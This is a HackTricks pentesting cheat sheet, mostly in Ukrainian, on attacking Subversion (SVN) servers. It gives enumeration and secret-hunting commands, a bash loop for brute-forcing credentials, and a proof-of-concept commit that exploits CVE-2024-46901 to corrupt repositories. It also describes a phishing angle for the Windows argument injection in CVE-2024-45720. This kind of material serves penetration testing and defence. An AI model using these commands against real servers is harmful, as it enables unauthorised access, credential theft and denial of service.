3690/tcp - Pentesting Subversion (SVN) сервер
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
Subversion (SVN) є централізованою системою керування версіями (ліцензія Apache), яка використовується для версіонування програмного забезпечення та контролю ревізій.
Порт за замовчуванням: 3690/tcp (svnserve). Також може бути доступний через HTTP/HTTPS через mod_dav_svn та через svn+ssh.
PORT STATE SERVICE
3690/tcp open svnserve Subversion
Banner Grabbing
nc -vn 10.10.10.10 3690
svnserve --version # if shell access is obtained
svn --version # client version leak via error messages
Enumeration
# Anonymous / authenticated listing
svn ls svn://10.10.10.203 # list root
svn ls -R svn://10.10.10.203/repo # recursive list
svn info svn://10.10.10.203/repo # repo metadata
svn log svn://10.10.10.203/repo # commit history
svn checkout svn://10.10.10.203/repo # checkout repository
svn up -r 2 # move working copy to revision 2
svn diff -r 1:HEAD svn://10.10.10.203/repo # view changes
# If served over HTTP(S)
svn ls https://10.10.10.10/svn/repo --username guest --password ''
# Extract revision props (often contain build creds, URLs, tokens)
svn propget --revprop -r HEAD svn:log svn://10.10.10.203/repo
Auth & Misconfig Hunting
svnserve.confможе дозволятиanon-access = read(або навітьwrite). Якщо ви можете перелічити репозиторій, спробуйте виконатиcheckout, щоб витягти secrets, scripts, CI tokens.- Репозиторії часто зберігають build pipelines, deployment keys, та database credentials у версіонованих конфігураційних файлах. Перегляньте робочу копію після
checkout:grep -R "password\|secret\|token" -n .. - Якщо ввімкнено
svn+ssh, shell’и користувачів часто дозволяють запуск обмеженихsvnserveкоманд; спробуйтеssh user@host svnserve -tз crafted subcommands, щоб обійти wrappers.
Bruteforcing credentials (svnserve)
sasl authentication (якщо увімкнено) та прості password-файли захищені лише транспортом; за замовчуванням немає lockout. Швидкий Bash loop може перебрати credentials:
for u in admin dev ci; do
for p in $(cat /tmp/passlist); do
svn ls --username "$u" --password "$p" svn://10.10.10.203/repo 2>/dev/null && echo "[+] $u:$p" && break
done
done
Нещодавні вразливості (практичний вплив)
mod_dav_svn DoS через символи керування (CVE-2024-46901)
- Користувач з правами commit може записати шлях, що містить символи керування (наприклад
\x01,\x7f), які корумпують репозиторій, через що подальші checkouts/logs не виконуються і це потенційно може спричинити крашmod_dav_svnworkers. - Впливає на Subversion ≤ 1.14.4, коли подається через HTTP(S) (
mod_dav_svn). Виправлено в 1.14.5. - PoC commit with
svnmucc(requires valid commit creds):
# create payload file
printf 'pwn' > /tmp/payload
# commit a path with a control character in its name
svnmucc -m "DoS" put /tmp/payload $'http://10.10.10.10/svn/repo/trunk/bad\x01path.txt'
- Після commit звичайні клієнти можуть аварійно завершувати роботу або відмовлятися від оновлень, поки адміністратори вручну не видалять ревізію за допомогою
svnadmin dump/filter/load.
Windows argument injection in svn client (CVE-2024-45720)
- На Windows кодування символів “best-fit” у
svn.exeдозволяє command-line argument injection під час обробки спеціально сформованих non‑ASCII шляхів/URL, що потенційно призводить до виконання довільних програм. - Зачіпає Subversion ≤ 1.14.3 лише на Windows; виправлено в 1.14.4. Attack surface: phishing a developer to run
svnon an attacker-controlled URL/path. - Pentest angle: якщо ви контролюєте мережеву шара чи ZIP, переданий Windows-розробнику, назвіть URL репозиторія або шлях робочої копії так, щоб вони містили best-fit байти, які декодуються в
" & calc.exe & "-style injected args, а потім обманом змусьте жертву запуститиsvn statusабо подібну команду для цього шляху.
Notes for Exploitation Workflow
- Check access method:
svn://(svnserve),http(s)://.../svn/(mod_dav_svn), orsvn+ssh://. - Try anonymous read first; then spray common creds. If HTTP Basic is used, reuse creds found elsewhere.
- Enumerate hooks:
hooks/pre-commit,post-commitscripts іноді містять plaintext credentials або hostnames. - Leverage
svn:externalsto pull additional paths from other hosts; list them withsvn propget svn:externals -R .after checkout. - Version leaks: HTTP response headers from
mod_dav_svnusually show the Subversion & Apache version; compare against 1.14.5 to spot vuln targets. - Якщо ви отримали доступ до файлової системи репозиторію,
svnadmin dump/svnlook author/svnlook dirs-changedдозволяють робити offline аналіз без облікових даних.
References
- Apache Subversion security advisory CVE-2024-46901
- Apache Subversion security advisory CVE-2024-45720
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


